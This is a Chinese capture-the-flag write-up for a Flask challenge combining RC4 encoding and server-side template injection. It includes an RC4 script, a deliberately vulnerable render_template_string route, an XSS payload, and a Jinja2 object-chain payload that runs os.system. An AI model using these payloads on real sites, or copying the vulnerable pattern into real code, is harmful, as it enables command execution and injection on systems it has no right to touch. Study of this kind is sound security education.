[NISACTF 2022]is secret
本题考点
1,RC4对称加密。
2,flask模板注入。
解题过程
打开题目什么也没发现啥有用的,查看源码也没什么发现。上网查了一下发现这道题时[CISCN 2019华东南]Double Secret原题。看了别人的wp,用御剑扫一下发现了/secret这个路径。页面内容为Tell me your secret.I will encrypt it so others can't see,猜测是GET型传参,试试/secret?secret=1,回显d,综合来看是对传入的secret进行了某种加密后回显。随便输入?secret=9358257814时,页面报错。
在报错页面发现了app.py
的报错,点开有部分源码泄露
这段代码逻辑就是对传入的secret
进行 RC4 加密,且密钥已知,safe()
函数猜测是对恶意代码的过滤,然后用render_template_string()
进行模板渲染。
render_template_string()函数
该函数用来渲染一个字符串,SSTI与render_template_string()函数密不可分,render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {undefined{**}} 包裹的内容当做变量解析替换。这个渲染存在 flask 模板注入漏洞(SSTI)。
RC4加密
先来看看RC4加密解密,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流
这里直接给出网上的脚本
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("key", "text")
flask的模板注入
render_template_string
是用来渲染一个字符串的,不正确的使用flask中的render_template_string
方法会引发SSTI
html = '<h1>This is index page</h1>'
return render_template_string(html)
XSS利用
存在漏洞的代码
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code
是用户可控的,会和 html 拼接后直接带入渲染。尝试构造?code=<script>alert(1)</script>
即可进行 xss 利用。将代码改为如下
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
js 代码会被原样输出,这是因为 flask 是使用 Jinja2 来作为渲染引擎的,在 Jinja2 模板引擎中,{{}}是变量包裹标识符。而模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在 xss 了。在这段代码中用户所控的是code变量,而不是模板内容。但这样就完了吗?当然大no特no,模板注入并不局限于 xss,它还可以进行其他攻击!
Jinja2知识
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。下面逐一介绍
__class__:返回当前类。
__mor__:返回解析函数时,类的调用顺序。
通过索引的方式__mor__[2],就可返回 object 类。
__base__:返回当前类父类(以字符串的形式)。
__subclass__():返回当前类所有的子类,可通过索引的方式定位某一个子类。
__init__:类的初始化方法。
__globals__:对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量。
命令执行
直接利用 os 模块
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
参考链接:https://blog.csdn.net/qq_46266259/article/details/128920290
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)